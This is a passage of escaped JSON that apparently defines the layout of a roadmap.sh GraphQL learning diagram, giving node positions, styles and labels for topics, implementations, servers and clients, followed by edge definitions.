\"y\": 1384.3919731117412\n      }\n    },\n    {\n      \"id\": \"O8k-m6s9B_uXkLsXKVFnL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.7572052308409,\n        \"y\": 1431.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Specification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iTV2H8clmRTOksul4v38p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.7572052308409,\n        \"y\": 1431.3919731117412\n      }\n    },\n    {\n      \"id\": \"G50ZMlmP7Ru5LcFne5Rhu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.7572052308409,\n        \"y\": 1484.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authorization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GzwPvLybxTJM96fUhQUOi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.7572052308409,\n        \"y\": 1484.3919731117412\n      }\n    },\n    {\n      \"id\": \"1mBWGT53bwy8JHSnf_6lr\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 37.678457293951865,\n        \"y\": 979.4979529933375\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 566\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 37.678457293951865,\n        \"y\": 979.4979529933375\n      }\n    },\n    {\n      \"id\": \"Uf8XxJPs7RzKVhlxiQdbB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 1262.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pagination\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8YdlLJ_Ki8NxgVzMNeyzo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 1262.3919731117412\n      }\n    },\n    {\n      \"id\": \"Qab1pyIZiJ3Z9q8CuEsc-\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -305.3175069304428,\n        \"y\": 1469.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Implementations\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"WFO_AwmbUJPAFj0tFClJg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 67,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -305.3175069304428,\n        \"y\": 1469.2051467174065\n      }\n    },\n    {\n      \"id\": \"jCzrMElTo-c9xGcpPOOPl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1502.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7szipojhVb2VoL3VcS619\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1502.7051467174065\n      }\n    },\n    {\n      \"id\": \"9nVo95gRNGHGIbaJQPH1x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1392.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1392.3919731117412\n      }\n    },\n    {\n      \"id\": \"1q77xUifPS5sLx5tktXxF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1350.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Go Implementation\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"eNNThl8rxj-0pibTpBck0\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 163,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1350.3919731117412\n      }\n    },\n    {\n      \"id\": \"qmlQ3184CZ9HgvRHVcPT6\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1460.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JavaScript Implementation\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"-STVQpKbY5I9eTExdJ6mc\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 221,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1460.7051467174065\n      }\n    },\n    {\n      \"id\": \"7szipojhVb2VoL3VcS619\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1606.589806690877\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Java\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JhnARvY0P1sb8dEconHeY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1606.589806690877\n      }\n    },\n    {\n      \"id\": \"-STVQpKbY5I9eTExdJ6mc\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1563.589806690877\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Java Implementation\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"eNNThl8rxj-0pibTpBck0\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 176,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1563.589806690877\n      }\n    },\n    {\n      \"id\": \"XD0hNlAu05_ZYgv8JvEp1\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -305.3175069304428,\n        \"y\": 1641.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Servers\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"WFO_AwmbUJPAFj0tFClJg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 67,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -305.3175069304428,\n        \"y\": 1641.2051467174065\n      }\n    },\n    {\n      \"id\": \"_8RiK9B8endMNBjiKsazU\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1649.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 96,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1649.2051467174065\n      }\n    },\n    {\n      \"id\": \"N-vsu-wvOikuoTbzdgX3X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1694.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"graphql-http\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iTV2H8clmRTOksul4v38p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1694.2051467174065\n      }\n    },\n    {\n      \"id\": \"Gotb1xtxySCVC5MrnkPSs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1747.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Yoga\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iTV2H8clmRTOksul4v38p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1747.2051467174065\n      }\n    },\n    {\n      \"id\": \"o_VkyoN6DmUUkfl0u0cro\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1800.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Apollo Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iTV2H8clmRTOksul4v38p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1800.2051467174065\n      }\n    },\n    {\n      \"id\": \"iTV2H8clmRTOksul4v38p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1853.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"mercurius\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A-PQ3_FVuCK3Eud75hsdj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.7572052308409,\n        \"y\": 1853.2051467174065\n      }\n    },\n    {\n      \"id\": \"lUOOZDUJOgktHf07nGzCJ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -127.31750693044279,\n        \"y\": 1665.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"BjJfMCOatN2_3TVt-6GnG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -127.31750693044279,\n        \"y\": 1665.7051467174065\n      }\n    },\n    {\n      \"id\": \"WFO_AwmbUJPAFj0tFClJg\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -305.3175069304428,\n        \"y\": 1796.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Clients\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"mZPU_kbBDBV5j0kaEO-tj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 67,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -305.3175069304428,\n        \"y\": 1796.2051467174065\n      }\n    },\n    {\n      \"id\": \"4IugiCX3rnKv5ak50sqGm\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -707.048072051004,\n        \"y\": 1755.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"SFhbL3KKBd053kCVToTm1\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 285\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.048072051004,\n        \"y\": 1755.7051467174065\n      }\n    },\n    {\n      \"id\": \"3lQ4cxevkw0p8v7fHm4I7\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1770.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"_8RiK9B8endMNBjiKsazU\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 96,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1770.2051467174065\n      }\n    },\n    {\n      \"id\": \"datKo3vPDwXoyVskcrdkc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1815.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"graphql-http\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"N-vsu-wvOikuoTbzdgX3X\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1815.2051467174065\n      }\n    },\n    {\n      \"id\": \"Ab_ngkf6bmejvcp9okuw6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1868.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Relay\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Gotb1xtxySCVC5MrnkPSs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1868.2051467174065\n      }\n    },\n    {\n      \"id\": \"D5O7ky5eXwm_Ys1IcFNaq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1921.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Apollo Client\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"o_VkyoN6DmUUkfl0u0cro\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1921.2051467174065\n      }\n    },\n    {\n      \"id\": \"WP0Oo_YMfLBlXqDQQtKes\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1974.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Urql\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iTV2H8clmRTOksul4v38p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -686.2427947691591,\n        \"y\": 1974.2051467174065\n      }\n    },\n    {\n      \"id\": \"BjJfMCOatN2_3TVt-6GnG\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -452.3175069304428,\n        \"y\": 1820.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -452.3175069304428,\n        \"y\": 1820.7051467174065\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"f5WRewBlpeYMf71cPcXs-\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -34.742794769159104,\n        \"y\": 2088.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"StxLh1r3qXqyRSqfJGird\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -34.742794769159104,\n        \"y\": 2088.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UOQYh4L1q1XAl7EuxlQ3m\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -215.3175069304428,\n        \"y\": 1874.2541881503926\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 160\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -215.3175069304428,\n        \"y\": 1874.2541881503926\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-08qKtgnhJ3tlb5JKfTDf5w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2rlmLn_yQQV-7DpX1qT98\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-2rlmLn_yQQV-7DpX1qT98y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-cMfsRtvzvDZZJ0TqeUOxmy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"J5mU0v491qrm-mr1W3Msd\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-VhSEH_RoWFt1z2lial7xZy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"6r9XbwlBtHmJrhviG2cTD\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-6r9XbwlBtHmJrhviG2cTDy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ODQ8zrHc2rsc8PN-APKvz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-ODQ8zrHc2rsc8PN-APKvzy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YZaFEK547FYricfOuANvH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-YZaFEK547FYricfOuANvHz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"B77yLU4SuRChSjEbmYwc-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-B77yLU4SuRChSjEbmYwc-z1\",\n  